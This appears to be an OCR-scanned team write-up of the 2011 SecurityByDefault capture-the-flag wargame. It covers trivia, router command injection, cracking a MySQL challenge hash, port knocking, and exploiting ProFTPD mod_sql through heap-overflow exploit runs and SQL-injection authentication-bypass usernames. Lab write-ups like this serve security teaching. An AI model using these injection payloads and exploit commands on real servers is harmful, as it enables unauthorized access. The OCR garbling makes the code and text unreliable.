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Intro

On past 15th January of 2011, the first fiSecurity by Defaultdo wargame took
place. It was an online competition with challenges divided in five categories:
Trivia, Networking, Web, Binaries and Cryptography.

Hi, int3pids =

Challenges | Submit a token! | Change Password | My Stats | Logout

trivia

________________ o

networking

cryptography |

Dashboard

As in other wargames, each challenge had a different score giving more
points for solving harder challenges than easier ones. A not so common rule in
this game was that the first team to solve a challenge would win some extra
points. This rule makes sense when a wargame have an ending date but in this
case it hadn't so... what were the extra points used for?

Points

Passed Chalfenges

Ranking position

Registered since

Faifed Attempis

General stats

However, we finally solved the wargame before anyone, even winning most
extra points (as you can see in the ranking -look for medal icons-) and making
no doubt to worry about :-).
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Trivia 1

Score
100

Description

How many posts are there in SecurityByDefault blog until 31/12/20107?

Solution

This is very simple and straightforward. We only have to browse to the
main page of SecurityByDefault blog: http://www.securitybydefault.com/

You have the solution at the right column (marked in red):

—ecunnby
Ly
DECRAUILT

dasls  Bslrs ResrfyByDelauh



http://www.securitybydefault.com/
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Letds zoom i n:

ARCHI¥OS

w2010 (358)
w2009 (379)

W 2005 (162)

So we only have to add each yeardéds numbe
356 + 379 + 162

Token
897



SbD Wargame 2011 write-up. ©int3pids, 2011

Trivia 2

Score
100

Description

How many published comments are there in SecurityByDefault blog until
31/12/20107?

Solution

If the RSS feed for comments were enabled in this blog, maybe the
fastest way to solve this task would be using this feed, but it is (and was)
disabled. The idea is pretty simple: the number of comments in each post
is shown at the end of every post, just before the comments section, so
we only have to sum all these numbers together.

Oof course you can do it by hand (there
hope you have better things to do, so we will explain the way we did to

automate this task. First, we used a download manager to save all the

posts in HTML files, opening in our browser the trees of 2008, 2009 and

2010, including al/l their months, and t
with FlashGeto http://www.flashget.com).

Once we have all the files downloaded, we can iterate over them and
locate the exact position of the number of comments by searching for the
next HTML block:

<div class= 'comments' id= 'comments' >
<a name=comments' ></a>

<h4> 12

comentarios:

</h4>
www iguanat com Seguridad en ActiveX
| grupo-algar com =l
iles importa a las empresas las
™ Sort alphabeticaly I~ Sort alphabeticaly vulnerabilidades r...
La suite de herramientas de Fyodor
Seach | Clexr Ppout s |

Apoya a OpenRipple en los Sourceforge
Community Ch...

&) httpi/fuww.securitybydefault.com/2009/05/vhoster-obtencion-de-virtualhost html - Cédigo fuente or...\ = =) |weEde|

[*] Descarga de Vhoster v1.0 - -
Archivo  Editar Formatear

Q01 <div class='comments' id='comments'> -
[ 902 | <& name='comments'></a>
Q03 <hé4>

904 12

905 | comentarios:

Q06
12 COMENTARIOS: 907 </h4>

908 |<div id='Blogl_ comments-block-wrapper'>

Andénimo dijo... 908 | <dl class='avatar-comment-indent' id='comments-block'>

910 | <dt class='comment-author ' 1d='c3314490095699665110">

911 <a name='c3314430095699665110" »</a> -

i

Genial la pinta del progral |

consultas manuales :D Editoriales de libros de seguridad



http://www.flashget.com/
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In our case, we used this VB.net code:

Dim comments As Integer = 0
For Each file In 10.Directory.GetFiles( "C: \ SbD_Posts \ ")
Try
Dim post As String = I0.File.ReadAllText(file)
Dim i As Integer = post.IndexOf(  "div class ='comments'
id='comments™ )
Dim fragment As String = post.Substring(i + 65)
comments += CInt (fragment.Substring( 0,
fragment.IndexOf( "coment” ) - 1))
Catch ex As Exception
End Try
Next

The total amount of comments was 4765 but this was a wrong answer.

Then we thought that the last day (31/12/2010) probably has to be
excluded because of the word dAuntil o
comments of the post of that day and tried with this new number, being

the right one: 476571 10 = 4755.

Anyway, after the game was closed, we counted all the comments
checking their date instead of the one of the posts. They were 12
comments of 2011 in these posts, so we confirmed that the interpretation
of the question must be done as we did.

Token
4755
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Trivia 3

Score
100

Description

Which is the title of the most commented post in SecurityByDefault blog
until 31/12/2010?

Solution

We solved and scored this challenge in less than a couple of minutes
because it was easier than the previous one. In fact, we only have to
locate the maximum value, adding some lines to the same code we used
for Trivia 2:

Dim comments As Integer = 0
Dim maxComments As Integer = 0
Dim mostCommented as String

For Each file In 10.Directory.GetFiles( "C:\ SbD_Posts \ ")
Try

Dim post As String = IO.File.ReadAllText(file)

Dim i As Integer = post.IndexOf( "div class='comments'
id='comments™ )

Dim fragment As String = post.Substring(i + 65)

comments = Cint (fragment.Substring( 0,
fragment.IndexOf( "coment” ) - 1))

If comments > maxComments Then
maxComments = comments
mostCommented = file

End If

Catch ex As Exception
End Try
Next

The a n s weQGanavwaestradas para Campus Partyo ,with 88
comments. It should not surprise us considering that you had a chance to
win a free ticket for the Campus Party in Valencia if you left a comment in
that post... ;-)
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“— ecurity
by

DeFAULT

Servicios Contact Sobre SecurityByDefault

Gana 5 entradas para Campus Party 8

Como va comentamos hace tiempo, este afic el drea de
seguridad en Campus Party va a estar de lo mas animada,
talleres, charlas y un Wargame.

Campus

Party™

Eso en el drea de seguridad, pero como podéis ver en la web
hay otras muchas actividades, ponencias y gente 'de relumbron’
con muche gancho.

Por gentileza de la organizacion de Campus Party estamos
regalande 5 entradas en la modalidad de 'movilidad' para
poder asistir a Campus Party (v competir en el Wargame con
premios en metdlico)

Evidentemente y dado gue nosotros andaremos por ahi, seguro que una de copas [ cafias / paellita
también caerd

iéQue hay que hacer? Muy sencillo, en los comentarios de este post dinos quien a tu juicio es la
persona o colectivo mas relevante en temas de seguridad. Valen 'histdricos' de toda la vida como
Robert Tappan Morris, valen personajes mas actuales como Kaminsky, gente del panorama Espafiol
como los apostols, v en general cualquier persona / colectivo que haya tenido papel destacado (para
bien o para mal)

Entre todas las respuestas y via random.org sortearemos las 5 entradas. (Para poder contactar con
los ganadores, deberéis dejar 2 comentarios, uno con vuestro personaje, que sera publicade v otro
con algin medio de contacto que no serd publicado)

El plazo, hasta el Domingo dia 11

UPDATE: El sorteo va se ha realizado v los datos de contacto de los ganadores entregados a la
organizacion.

Pusli y 0
Etique

88 COMENTARIOS:

Token

Gana 5 entradas para Campus Party

SIGUENOS EN:

NN flin|&

iRecibe sbD en tu mailt:

Susc

NUBE DE ETIQUETAS

herramientas seguridad
web seguridad eventos
malware secmana
vulnerabilidad hackeos
memorables privacidad
hacking contribuciones
antivirus criptografia windows
hardening twitter linux
cibercrimen conferencias facebook
firefox auditoria google spam
fraude microsoft cifrado owasp
wifi certificados digitales exploits

libros phishing xss andlisis forense
concienciacion dos iphone pentest web

SQL injection autenticacién botnets
entrevistas  informacidén  pki  rootedcon
seguridad fisica ssl  troyanos

EDITORES

José A. Guasch
Contribuciones
Lorenzo Martinez
Yago Jesus
Alberto Ortega

Alejandro Ramos

1C
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Networking 1

Score
100
Description
1 connectto me 1234
1 concatenate; is; so; useful
Solution

We connect to port 1234 following the tips section:

to.oom 1A

There we try to log in using many default passwords
(http://www.phenoelit-us.org/dpl/dpl.html) with no luck. We also try to

i nsert speci al characters l i ke A
attempts which dondét wor k:

$(echo 1)

‘echo 1°

é

Nothing to do here, so we create a new user:

Helcome to o Router

We reconnect and have a look to the menu. It seems some kind of home
router.

11


http://www.phenoelit-us.org/dpl/dpl.html
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We notice that there should be a Aguest (
in with wuser Aguest o0, password fAguest o.
other contestant created that account) sowere-l og i nto our A i
account (which is nicer! ;-))

By adding different characters to the menu number, we always get an
Al ncorrect optionodo responseé But we find
with fA; o:

Enabled
erd

return Lo continue ..

) Ry = Y

Thcorrect option,

So Al; 06 is not giving error. Then we try
1ls

1;id

1;sleep 10

Bad luck again.

12
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But the second tip 1 s there: fconcatena
keep on trying with other menu choices until we eventually reach:

ZE1AD11E4T

We got a type-7 Cisco password. There are tons of online decoders but
we prefer to use the one embedded in Cain (http://www.oxid.it/cain.html):

Cisco Type-7 Password Decoder

Cigco Type-7 encrypted pazsword
|B'I CO41E1E124C082F2E 206532752E 140112400

Decrypted pazsword

|“fl:uu really need a life.

E it

13


http://www.oxid.it/cain.html
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Token
You really need a life.

14
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Networking 2

Score

150

Description

il

il

f

1

City of Spain.
FF: wrong value byte

mysgl-net02.pcap

new hint! mysql salt is:
31337000DEADCAFE313370313370313370313370 WOAAH!

Solution

We can open the PCAP file with Wireshark to spot a successful
connection to a MySQL server. The authentication challenge begins in
the fourth packet, in which we can see the salt bytes sent by the server.
Then the client sends its username and the hashed password using the
salt value received from the server.

The easiest way we found to crack this password was to process the file
directly from Cain (http://www.oxid.it/cain.html), so all the useful data will
appear in the passwords tab of this tool. We can send it to the cracker
tab, in which we will perform a dictionary attack over it by using the
AMy SQL SHA1l Hasheogiont chall engebo

User: debian - sys - maint
Salt: 313370 01deadcafe313370313370313370313370
Hash: cfe6593db4f38d03457e97f532bf3031074854 ff

But first we have to read the tips carefully because they are telling us that
the AFFO value is wrong. lashbyte of tha
password hash and for that reason we have to assume it as invalid. In
order to find the actual value, we will have to try with all the 256 possible
values instead of this one.

Cain stores all the MySQL captured hashes sent to the cracker in a text
file named @ My S RQosedfarmat is sasy te deduce. Bach
line contains a group of values separated by tabs, matching the column
names of the user interface, so we will only have to generate a file with
the same format with 256 lines, changing the last byte of the hash
(ranging from 00 to FF) and keeping the rest as is.

1t

mper ed


http://wargame.securitybydefault.com/e083be45dad004823b2b43fb9237229c/mysql-net02.pcap
http://www.oxid.it/cain.html
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") MySQLHashes.LST - Bloc de notas = | Bl )
Archivo Edicien Formato Ver Ayuda

debian-sys-maint cTe6593dbaT 380345797 532bF 303107485400 31337000deadcate313370313370313370313370 SHAL P
debian-sys-maint cfe6593dbaf3adozs £532bf203107485401 21337000deadcafe3133270313370313270313370 SHAL
debian-sys-maint cfe6593dbaF38d03457e07T 532bF 203107485402 31337000deadcafe313370313370313270313370 SHAL E
debian-sys-maint cfe6593dbaT38d03457e07 T 532bF 303107485403 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593db4F28d03457e97F532bF 203107485404 31337000deadcafe313370313370313270313370 SHAL
debian-sys-maint cfe6593db4T38d03457e97F532bF 203107485405 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6503db4T38d03457207F532bF 203107485406 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6503db4F38d03457207F532bF 203107485407 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6503dbaF38d03457207F 532bF 203107485408 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593db4F38d034 57207 532bF 303107485409 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbat38d034 5797 532bF 303107485408 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbat3s 7e97f532bt30310748540b 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbat3s 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbaf3s 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbaf3s 7 21337000deadcafe3133270313370313270313370 SHAL
debian-sys-maint CFe6593b4f38d03457e07F 532bF20310748540F 31337000deadcafe313370313370313270313370 SHAL
debian-sys-maint cfe6593dbaT38d03457e07 T 532bF 303107485410 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593db4F28d03457e97F532bF 203107485411 31337000deadcafe313270313370313270313370 SHAL
debian-sys-maint cfe6593db4F28d03457e97F532bF 203107485412 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6503db4T38d03457207F532bF 303107485413 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6503db4T38d03457e07F532bF 203107485414 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6503db4F38d03457207F532bF 303107485415 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbaF38d03457e07F532bF 303107485416 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593db4F38d03457e07F532bF 303107485417 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbat38d03457e97F 532bF 303107485418 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbat38d03457e07F532bF 203107485419 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbat38d034 532bf30310748541a 31337000deadcafe313370313370313370313370 SHAL
debian-sys-maint cfe6593dbaf38d03457e97T532bF 20310748541 31337000deadcafe313370313370313370313370 SHAL <

On the other hand, we have to find or build a wordlist with cities of Spain.

The list of provinces of Spain will be enough but we lost some hours

trying other listings with hundreds of cities mixed with numbers and

casing variations before the hint with the correct salt was published. We

dondét know why the f our tethfrom QliteOOwtas sudd
seems to be a Alittled mistake -bwhich malk
the organization fortunately corrected it right on time and then we could

solve it quickly.

B
File View Configure Tools Help

SH @ REBE Y RLYDEEGO®E O 7 1
|_¢% Decoders |§ Network Iﬂ? Sniffer |d Cracker |@ Traceroute |m CCou I([buj Wireless |$) Query |

& Cracker + | Usemame [ Pa... [ Hash | challenge [ Type | Mote -
- LM 8 NTLM Hast| | | 3¢ debian-sys-maint cfef593db4f38d03457207F532bf303107485400  31337000deadeafe313370313370313370313370  SHAL =
gl NTLMW2 Hashes (| | | % debian-sys-maint cfe5593dbAfa8d03457e07F532bfA03107485401 31337000 deadcafe313370313370313370313370  SHAL
.. M5-Cache Hashey | | % debian-sys-maint cfe6593dbaf38d03457e07F532bf303107485402 31337000 deadcafe313370313370313370313370  SHAL
& PWL files (0) X debian-sys-maint cfe6593db4fIBd03457ITF532bFI03107485403 31337000 deadcafe313370313370313370313370  SHAL
B Cisco I05-MD5 H X-Eﬂ.-
.Ml Cisco PIX-MDS H{ | | X debian-sys-maint cfeb39 Dictionary Attack MySQLv3.23 Hashes
i APOP-MDS Hash | | X ebien-sys-maint cfeb=8 Brute-Force Attack » MySQL v3.23 Hashes + challenge
.. CRAM-MDS Hash x debian-sys-maint cfe659! .

&+ OSPF-MDS Hashel = X debian-sys-maint fe659 Cryptanalysis Attack 3 MySQL SHAL Hashes
.+f+ RIPu2-MDS Hashe X debian-sys-maint cfeba Rainbowcrack-Onfine N MySQL SHAL Hashes + challenge
.} VRRP-HMAC Has X debian-sys-maint cfeb59
o VINC 3DES () X debian-sys-maint cfe659 (s , 17000deadcafe313370313370313370313370  SHAL
MD2 Hashes () X debian-sys-maint cfes59 7000deadcafe313370313370313370313370  SHAL
x debian-sys-maint cfebs9; Select All 7000deadcafe313370313370313370313370  SHAL
MD4 Hashes (0) X debian-sys-maint cfef59 . 7000deadcafe31 3370313370313370313370  SHAL
MDS5 Hashes (0) X debian-sys-maint cfe659 7000deadcafe313370313370313370313370  SHAL
i SHA-L Hashes (0)] | | 3¢ gebian-sys-maint cfe659]  Test password 7000deadcale313370313370313370313370  SHAL
- 53" SHA-2 Hashes [0)| | | 3¢ debian-sys-maint cfes59 7000deadcafed13370313370313370313370  SHAL
- RIPEMD-160 Hask | 3¢ dehian-sys-maint fe659 Add to list Insert  }7000deadcafe313370313370313370313370  SHAL
- KerbS PreAuth Ha | 3 debian-sys-maint cfeh59 Remave Delete  $7000deadcafe313370313370313370313370  SHAL
.8, Radius Shared-Ke | 3 debian-sys-maint cfe659 7000deadcafe313370313370313370313370  SHAL
@5 IKE-PSK Hashes (| X debian-sys-maint 559 Lrmracll 7000deadcafel1 3370313370313370313370  SHAL
P ~HAREND A AFIT ANIAET AOTFEI IFININTACCATE 21 23TNON A m v dm 2$22122TN21 22TN21 227N 3270 cuAl 2

[ MSSQL Hashes (0 :’ ok
-[Th MySQL Hashes (2 -

T v | B MysQL Hashes

hittp:/fwww.oxid.it

User: debian - sys - maint

Salt: 313370 00deadcafe313370313370313370313370
Hash: cfe6593db4f38d03457e97f532bf3031074854 6a
Pass: Toledo

Token
Toledo

16


http://en.wikipedia.org/wiki/Provinces_of_Spain
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Networking 3

Score
200

Description
1 2213:udp,3325:tcp,44XX:XXp
1 open sesame!

Solution

Given the tips and taking into account that this is a networking challenge,

it is pretty obvious we should perform port-knocking. There are many

pottk nocking tools out there but t he HAOPI
peculiar and Google quicklyleads us to AKnockdo

(http://www.zeroflux.org/projects/knock)

knockd - a port-knocking server

SYNOPSIS
knockd [aptions]

DESCRIPTION

knockd is a port-knock server, It listens to all traffic on an ethernet [or PPP] interface, looking for special "knock” sequences of
port-hits. & client makes these port-hits by sending a TCP [or UDP] packet to a port an the server. This port need not be open
-- since knockd listens at the link-layer level, it sees all traffic even if it's destined for a closed port, wehen the server detects a
specific sequence of port-hits, it runs a command defined in its configuration file, This can be used to open up holes in a
firewall for guick access.

Debian includes a #fAknockdod package whi
server components. We will only wuse fAkno

Some bruteforce is needed in order to spot the right port-knocking
sequence (we should fil!]l in the XX: XX ir
but it is not difficult if you know what you are looking for. In this case, we

have an extra tip in the introduction page of this challenge:
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We conclude that we should look for FTP service (SSH added just in
case):

cho $#line: *
ep 1f nms
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Hmap done: 1 IF addr i1
i

Hmap done: 1 IF addr (1 host up?

Right! A390 (UDP) dfiom tryind €CP)t Now a time-( we s av
limited window is open where port 21 is reachable (only from our IP

address, of course). To defeat time limit, we open a new shell where we

will refresh our time-window from time to time (10 secs, e.g.):

23005

r do knock wargame,=ecuritybydefault ,com 2213 tudp 5

Now | et ds f ocus on FTP exploitation.

Hame Twairzaie, securitybydefaul b com troman

We check SecurityFocus database and we get four possible
vulnerabilities. We discard two of them (related to TLS/SSL bypass but

useless to get access into the system ii f we donodt have any
sniff-).
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» About x Contact

< SecurityFocus ™

Symantec Connect Xt/ i e
A technical community for Symantec customer: =users, developers, and.partners.’

Wulnerabilities (Page 1 of 1)
Vendor: |Pr0FI'PD Project &

Title: ProFTPD

Yersion: 1.3.2rc2 =

Search by CVYE

CVE: |
Multiple vendor TLS Protocol Session Renegotiation Security Yulnerability
2011-01-20

hittps ffwewew securityfocus .comfbid,/ 36935

2010-12-24

roFTPD 'mod_sql' Remote Heap Based Buffer Overflow Yulnerability
bt ffwewew securityfocus comfbid/ 44933

ProFTPD mod_tls Module NULL Character CA SSL Certificate Yalidation Security Bypass Yulnerability
2009-12-28
btk ffwewew securityfocus comfbid/36204

CHJFTPD 'mod_sql' Username SQL Injection Vulnerabilitv)

2009-09-24
trpe S feewew securityfocus . com/bid/33722

wulnerahilities {Page 1 of 1)

So we have two possible paths now:
A mod_sgl remote heap overflow (BID: 44933)
A mod_sql username SQL injection (BID: 33722)

We begin analyzing first one: remote heap overflow. It is described in
depth (believe us!) in latest Phrack magazine (issue 67), in an excellent
article written by FelineMenace (kudos to him!).

The article includes exploit code at the end of it so we grab it, decode it

(Auudecode <article>0) and try it. Soon
ki nd ostriptka dtdii ed protection. I n order to
A Remove or comment a line. Diff:

- y =0/0

+ #y=0/0

A Modify a function call. Diff:
- self.test_cache()
+ self.test_cache(target)

May be it contains some more tricks but we created shellcode.bin and
shellcode2.bin and blindly launched it trying different variations:

Jproftpd.py -m offsets -t 1 wargame.securitybydefault.com
Jproftpd.py  -m offsets -t 2 wargame.securitybydefault.com
Jproftpd.py  -m bruteforce -t 1 wargame.securitybydefault.com
Jproftpd.py  -m bruteforce -t 2 wargame.securitybydefault.com
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Instead of dedicating more time to this complex exploit, we decide to
switch into the other path: username SQL

We read the following ProFTPD bug report:
(http://bugs.proftpd.org/show bug.cqi?id=3180)

AThe flaw | ies i nsi deonfeaueofimad sgabl e subst|it

For example if a user types in %l as part of the username, mod_sql replaces
that with his ip address before it executes the SQL query. A user can exploit
this feature to bypass the pr otection of the sql_escapestring function:

The sqgl_escapestring correctly replaces ' with \" to prevent SQL injection. But

if the user enters %' as part of his username, which gets transformed to % \'
by the escape function, mod_sql tries to substitute the variable. As % \ is an
unknown variable it get's transformed to {UNKNOWN TAG} - thus leaving
the quote intact and allowing injection |of arbit

Even we find exploit code (http://www.exploit-db.com/exploits/8037/):

The problem is easily reproducible if you login with username like:
USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --
and a password of "1" (without quotes).

If we try the exploit, FTP daemon crashes and our client connection gets
closed:

1 homedir .

So it seems itodés vulnerabl e! But now we

We assume that daemon is crashing because SQL sentence is incorrect.
First step will be to get injection to work without getting an invalid SQL
sentence. We get t hi $0D)oe aasv iuosuerr nbaymei.s s u i
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We can successfully %®&)0 offhleegase,ri mgtsi d
space character at the end: it will not work if you remove it!).

Letds build an exploit Asimilaro to publ

User: %") and 1=2 union select 1,1,uid,gid,homedir,shell from users #
Pass: 1

ahd 1=2 union =zelect 1.1l.uid.gid.homedir,.shell

At this point, we check a lot of possibilities and think that:
- perhaps there are many users and only one is valid:

%") and 1=2 union select 1,1,uid,gid,homedir,shell from u sers limit 0,1#
%") and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 1,1#

%") and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 2,1#

é

-we coul d use a Ffustenttnuatdbase).U-erenstangden o n
this would be uid=1000, gid=1000, home=/, shell=/bin/sh:

%") and 1=2 union select 1,1,1000,1000,0x2f,0x2f62696e2f7368#

-t o be sure whether lydsftis)a My SQL dat abas
%) and 1=2 union select 1,1,1000,1000,@ @datadir,0x2f62696e2f7368#

But we still fail to bypass authentication.

A time-based blind SQL injection exploitation is feasible (but horribly
slow).

We can also try error-based blind SQL injection since you have different
conditions:
- true (FTP is not crashing)

%") and 1=2 union select 1,1,1000,1000,0x2 f,31337 REGEXP repeat(0x41,
#

- false (FTP is crashing)

%") and 1=2 union select 1,1,1000,1000,0x2f,31337 REGEXP repeat(0x41,
0)#
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(former trick is described in detail i n
http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-
injections-2-conditional-errors/).

But there should be another (and easy) way to solve this so we go
backwards. Why dtwelndot this expl oi

User: %") and 1=2 union select 1,1,uid,gid,homedir,shell from users #
Pass: 1

Ok, we are assuming password is stored in clear-text in database! Now

|l etds assume the password is saved in MCLC
User: %") and 1=2 union select 1,md5(1),uid,gid,homedi r,shell from users #

Pass: 1

Still no luck:

=] - homedir -

Since we know itdés a MySQL database, p e
function:

User: %) and 1=2 union select 1,password(1),uid,gid,homedir,shell from
users #
Pass: 1

ult ,com

: Conmection ref

mode.
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We download both files (file.rar and file.txt). RAR file is encrypted and .txt
tells us:

This time, check cities of China : -)

We begin to build a new dictionary, this time with Chinese ci t i es. It o6
matter of Googling and parsing. For instance:

$ wget http://www.mongabay.com/igapo/China.htm -o/dev/null  -O - |cut -
d>" -f7|cut -d'<' -fl|egrep -v'"$' > cities

$ wget http://chinadataonline.org/member/city/city_md.asp -o/dev/n ull -O

- | grep "<TD>" | cut -d"™>" -f2]cut -d"," -fl>cities2

Then start a RAR <cracker (for i nstance,
Password Recoveryo) and begin cracking.

Cracking doesndét yield a good result. Wh
buildng tons of dictionariesé we think of ¢

Oh, no, impossible! Perhaps we missed something. So we go backwards

[=T00=}
TE CHMOD

We have just discovered a .bash_history file! (remember: Unix files
beginning with A.06 are fAhi dsdtleaa® thol @dsals
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with it). We should fix permissions in order to download the file (luckily
FTP i s allowing SITE commands so0o we can

Letds see whether or not sysadmin packed

r LJbazh_history

L, rar file.pocap

Right! Password was there (syadmin encrypted both file data and
headers with T hp parameter)! And it was not a Chinese city. It was a
nasty trap! L .

and extr a

o

Now we can unr ar Anfile.rar
continuesé@

We open .pcap file with Wireshark. It contains two PostgreSQL
handshakings.

First one is a failed connection attempt:

Second one is ok, so we will focus on it:
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